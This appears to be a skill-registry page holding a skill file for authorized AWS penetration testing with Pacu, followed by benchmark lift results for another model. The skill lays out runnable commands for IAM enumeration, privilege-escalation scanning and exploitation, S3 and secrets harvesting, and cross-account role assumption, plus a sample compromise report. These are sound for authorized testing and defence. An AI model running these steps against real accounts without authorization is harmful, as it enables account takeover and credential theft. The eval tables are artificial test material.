Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Performing authorized AWS penetration testing using Pacu, the open-source AWS exploitation framework, to enumerate IAM configurations, discover privilege escalation paths, test credential harvesting, and validate security controls through systematic attack simulation.
.claude/skills/performing-cloud-penetration-testing-with-pacu/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-08 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-14 | ✗→✓ | ▲ Improved | — | — |
| case-20 | ✗→✓ | ▲ Improved | — | — |
Do not use for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.
pip install pacu)Set up a Pacu session with the test credentials and define the engagement scope.
bash# Install Pacu pip install pacu # Start Pacu pacu # Create a new session for the engagement Pacu > set_keys --key-alias pentest-target # Enter Access Key ID: AKIA... # Enter Secret Access Key: ... # Verify identity Pacu > whoami # Review available modules Pacu > list Pacu > search iam Pacu > search ec2 Pacu > search s3
Run IAM enumeration modules to map users, roles, policies, and group memberships.
bash# Comprehensive IAM enumeration Pacu > run iam__enum_users_roles_policies_groups # Enumerate detailed permissions for the current principal Pacu > run iam__enum_permissions # Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails) Pacu > run iam__get_credential_report # Enumerate role trust policies for cross-account access Pacu > run iam__enum_roles # Check current session data Pacu > data iam
Use Pacu's privilege escalation scanner to identify all exploitable escalation vectors.
bash# Run the privilege escalation scanner Pacu > run iam__privesc_scan # The scanner tests for 21+ escalation methods: # Method 1: iam:CreatePolicyVersion # Method 2: iam:SetDefaultPolicyVersion # Method 3: iam:PassRole + ec2:RunInstances # Method 4: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction # Method 5: iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping # Method 6: iam:PassRole + glue:CreateDevEndpoint # Method 7: iam:PassRole + cloudformation:CreateStack # Method 8: iam:PassRole + datapipeline:CreatePipeline # Method 9: iam:CreateAccessKey # Method 10: iam:CreateLoginProfile # Method 11: iam:UpdateLoginProfile # Method 12: iam:AttachUserPolicy # Method 13: iam:AttachGroupPolicy # Method 14: iam:AttachRolePolicy # Method 15: iam:PutUserPolicy # Method 16: iam:PutGroupPolicy # Method 17: iam:PutRolePolicy # Method 18: iam:AddUserToGroup # Method 19: iam:UpdateAssumeRolePolicy # Method 20: sts:AssumeRole # Method 21: lambda:UpdateFunctionCode # If escalation paths found, attempt exploitation Pacu > run iam__privesc_scan --escalate
Discover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.
bash# Enumerate S3 buckets Pacu > run s3__bucket_finder # Download S3 bucket data for analysis Pacu > run s3__download_bucket --bucket target-bucket --dl-names # Enumerate EC2 instances and extract user data Pacu > run ec2__enum Pacu > run ec2__download_userdata # Enumerate Lambda functions and check for secrets in environment variables Pacu > run lambda__enum # Enumerate Secrets Manager Pacu > run secretsmanager__enum # Enumerate SSM parameters (often contain secrets) Pacu > run ssm__download_parameters # Check for exposed EBS snapshots Pacu > run ebs__enum_snapshots_unauth
Evaluate cross-account access, service exploitation, and persistence mechanisms.
bash# Test cross-account role assumption Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole # Enumerate Lambda for code execution opportunities Pacu > run lambda__enum # If lambda:UpdateFunctionCode permission exists, could inject code # Test EC2 instance connect for lateral movement Pacu > run ec2__enum # Check for instances with instance profiles that have broader permissions # Check for CodeBuild projects (potential credential access) Pacu > run codebuild__enum # Enumerate ECS/Fargate for container-based lateral movement Pacu > run ecs__enum # Export all discovered data Pacu > data all
Review whether security controls detected the testing activities and compile findings.
bash# Check GuardDuty findings generated during testing aws guardduty list-findings \ --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \ --finding-criteria '{ "Criterion": { "updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH} } }' --output json # Check Security Hub findings aws securityhub get-findings \ --filters '{ "CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}] }' # Export Pacu session data for reporting Pacu > export_keys --all Pacu > data all > pacu-session-export.json # Clean up any test artifacts created during assessment aws iam delete-user --user-name pacu-test-user 2>/dev/null aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null
| Term | Definition | |------|------------| | Pacu | Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing | | Privilege Escalation Scan | Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control | | iam:PassRole | Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue | | Cross-Account Role Assumption | Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations | | Rules of Engagement | Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement | | Post-Exploitation | Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment |
Context: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.
Approach:
whoami to confirm identityiam__enum_permissions to map the developer's effective permissionsiam__privesc_scan to identify escalation paths from developer to adminiam:PassRole + lambda:CreateFunction, creating a Lambda with an admin rolePitfalls: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger Recon:IAMUser/MaliciousIPCaller findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.
AWS Penetration Test Report (Pacu)
=====================================
Target Account: 123456789012
Engagement Period: 2026-02-20 to 2026-02-23
Starting Credentials: Developer role (read-only S3, Lambda invoke)
Authorization: Signed ROE document #PT-2026-015
ATTACK PATH SUMMARY:
Starting access: S3 read-only, Lambda invoke
Maximum access achieved: AdministratorAccess (full account compromise)
Time to admin: 47 minutes
Detection by GuardDuty: Yes (after 12 minutes)
Detection by Security Hub: Yes (after 18 minutes)
SOC response time: 45 minutes (missed the escalation window)
PACU MODULES EXECUTED:
iam__enum_users_roles_policies_groups: SUCCESS
iam__enum_permissions: SUCCESS
iam__privesc_scan: 3 escalation paths found
s3__download_bucket: 4 buckets accessed
lambda__enum: 12 functions enumerated
secretsmanager__enum: 8 secrets retrieved
ESCALATION PATHS EXPLOITED:
[1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)
[2] sts:AssumeRole -> CrossAccountProdRole (HIGH)
[3] iam:CreatePolicyVersion on dev-policy (CRITICAL)
DATA ACCESSED:
S3 objects downloaded: 1,247 files (2.3 GB)
Secrets Manager values: 8 secrets including DB credentials
SSM parameters: 23 parameters including API keys
DETECTION RESULTS:
GuardDuty findings generated: 7
Security Hub findings: 12
Custom CloudWatch alarms triggered: 3
SOC acknowledged: Yes (45 min response)
RECOMMENDATIONS:
1. Apply permission boundaries to all developer roles
2. Remove iam:PassRole from non-admin principals
3. Reduce SOC response time to < 15 minutes for IAM escalation alerts
4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-24 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 24 cases were attempted, and 23 counted toward the lift figure. The other 1 produced results that are not comparable between the two arms, so they are excluded from the headline rather than averaged into it. The headline lift of +42 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.